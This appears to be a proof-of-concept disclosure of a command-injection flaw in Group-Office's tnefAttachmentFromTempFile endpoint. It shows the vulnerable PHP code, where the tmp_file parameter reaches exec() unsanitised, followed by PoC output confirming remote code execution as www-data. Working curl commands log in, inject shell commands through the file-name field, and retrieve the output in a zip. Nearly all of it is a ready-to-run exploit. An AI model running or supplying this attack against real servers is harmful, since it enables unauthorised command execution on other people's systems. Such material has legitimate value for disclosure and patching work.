protected function actionTnefAttachmentFromTempFile(array $params)
{
    $tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
    $tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);

    chdir($tmpFolder->path());
    exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
    if($retVar!=0)
        throw new \Exception("TNEF extraction failed: ".implode("\n", $output));

    exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
    if($retVar!=0)
        throw new \Exception("ZIP compression failed: ".implode("\n", $output));

    $zipFile = $tmpFolder->child('winmail.zip');
    \GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
    $zipFile->output();

    $tmpFolder->delete();
}

python3 poc.py

➜  ~ python3 poc.py
[*] Target: http://xx.xx.xxx.xxx:9090
[*] Login status: 200
[*] Login ok, security_token received
[*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
[*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
[*] Response status: 200
[+] RCE Confirmed
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
    --data-urlencode "r=core/auth/login" \
    --data-urlencode "username=YOUR_USERNAME" \
    --data-urlencode "password=YOUR_PASSWORD" \
    -H "X-Requested-With: XMLHttpRequest"

{
  "success": true,
  "groupoffice_version": "26.0.4",
  "user_id": 2,
  "security_token": "XXXXXXX",
  "sid": "XXXXXXXXXXX"
}

curl -G "http://TARGET:PORT/index.php" \
    -b cookies.txt \
    --data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
    --data-urlencode "security_token=YOUR_TOKEN" \
    --data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
    -o command_output.zip

➜  unzip command_output.zip
Archive:  command_output.zip
  inflating: rce.txt

➜  cat rce.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)